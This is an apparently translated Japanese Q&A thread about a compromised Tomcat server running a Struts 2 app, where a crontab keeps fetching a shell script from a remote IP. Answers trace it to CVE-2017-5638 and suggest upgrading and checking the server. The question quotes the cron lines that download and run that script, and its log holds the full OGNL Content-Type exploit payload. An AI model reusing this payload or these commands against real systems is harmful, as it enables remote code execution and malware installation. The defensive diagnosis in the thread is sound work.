Apache Tomcatサーバーでプロジェクト戦争を実行しているときに、サーバーが侵害されていることがわかりました。
未知の戦争を実行している間、cron
はこのように実行されています
[root@App2 tmp]# crontab -l -u Tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
ダウンロードされたlogo.jpg
には、マルウェアをダウンロードするシェルスクリプトがあります。
以下のこのウェブサイトで同様の問題を見つけました
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-Shell-scripts-in-png-files/
そして
https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux
私のコード全体でこのcronスケジューラの起源を見つけることができません。
誰かがこの問題に直面したことを知りたいのですか?コードでスケジューラのオリジンを見つける方法を教えてください
注意:
私はJava(Struts 2)+ jsp + javascript + jquery Webプロジェクトに取り組んでいます。
このスケジューラは、プロジェクトのwarファイルを使用してTomcatを起動するたびに実行されますが、コード内にスケジューラのスケジューラを見つけることができません。
ログファイルで次の行を見つけました
[INFO] 2017-06-02 17:00:41,564 org.Apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.Apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/Tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.Apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.Apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
(#iswin=(@Java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new Java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.Apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.Apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.Apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.Java:908)
at org.Apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.Java:331)
at org.Apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.Java:351)
at org.Apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.Java:189)
at org.Apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.Java:127)
at org.Apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.Java:92)
at org.Apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.Java:81)
at org.Apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.Java:779)
at org.Apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.Java:134)
at org.Apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.Java:83)
at org.Apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.Java:193)
at org.Apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.Java:166)
at org.Apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.Java:198)
at org.Apache.catalina.core.StandardContextValve.invoke(StandardContextValve.Java:96)
at org.Apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.Java:478)
at org.Apache.catalina.core.StandardHostValve.invoke(StandardHostValve.Java:140)
at org.Apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.Java:80)
at org.Apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.Java:624)
at org.Apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.Java:87)
at org.Apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.Java:342)
at org.Apache.coyote.http11.Http11Processor.service(Http11Processor.Java:799)
at org.Apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.Java:66)
at org.Apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.Java:861)
at org.Apache.Tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.Java:1455)
at org.Apache.Tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.Java:49)
at Java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.Java:1142)
at Java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.Java:617)
at org.Apache.Tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.Java:61)
at Java.lang.Thread.run(Thread.Java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.Apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
OPがログを追加した後、Struts 2( CVE-2017-5638 )のリモートコード実行エクスプロイトに問題があることが明らかになりました。
いくつかの追加リンク:
解決策は、Strutsをバージョン2.3.32または2.5.10.1にアップグレードすることです。
サーバーでこの種の攻撃を撃退する必要があり、前述のようにTomcatユーザーのcrontabの上書きを再開し続けました。 IPアドレスは同一でした。 IPアドレスのwebappsディレクトリ全体のGrepは原因を明らかにしませんでした。
この例では、Strutsを使用していませんが、webappsに「Host-manager」および「manager」アプリがあり、JMXが有効化されているか、ポートが開いています。それらなしで再起動することで解決したように見えるので、私の直感は脆弱性がそれらの1つにある可能性があることです。特に、7.0.73で修正されたJMXの脆弱性が原因である可能性があります( https://Tomcat.Apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.7 )。
現在行っているもう1つの予防策は、wgetとchmodへのアクセスをrootのみに制限することです(これらのバイナリでchmod 770を実行するだけです)。
以前にシステム管理者だったときも、同様の問題に直面しました。 Tomcatサーバーなのか、Java app。
「感染したJavaアプリ」なしでTomcatを起動すると、cronが有効になりますか?(つまり、Tomcatからアプリケーションを削除して起動します)有効な場合より大きな問題がある場合は、起動スクリプトと、Tomcatサーバーにデプロイされているすべてのアプリケーションを確認する必要があります。
それ以外の場合は、アプリに問題があると確信しています。
その場合は、次の場所に移動してください。
$CATALINA_BASE/webapps/your_app
アプリケーションの整合性を確認します。認識できない追加のファイルはありますか?
次に、Tomcatインストールのwebappsディレクトリに移動します。
$CATALINA_BASE/webapps/
そのディレクトリで以下を実行します。
grep -R '91.230.47.40' *
感染の原因となる可能性のあるファイル/コード行を見つけるには、アプリのファイルまたは新しいファイルである可能性があります。
あなたのコードはCSVシステムにありますか?
CSVリポジトリから感染したサーバーの外部にwarファイルを作成し、次のようにします。
md5sum your_app.war
Tomcatサーバーからアプリケーションを削除して再デプロイし、md5を介して正しいwarをアップロードしていることを確認してから、crontabが呼び出されているかどうかを確認します。
この手順についてフィードバックをお寄せいただければ、喜んでお手伝いいたします。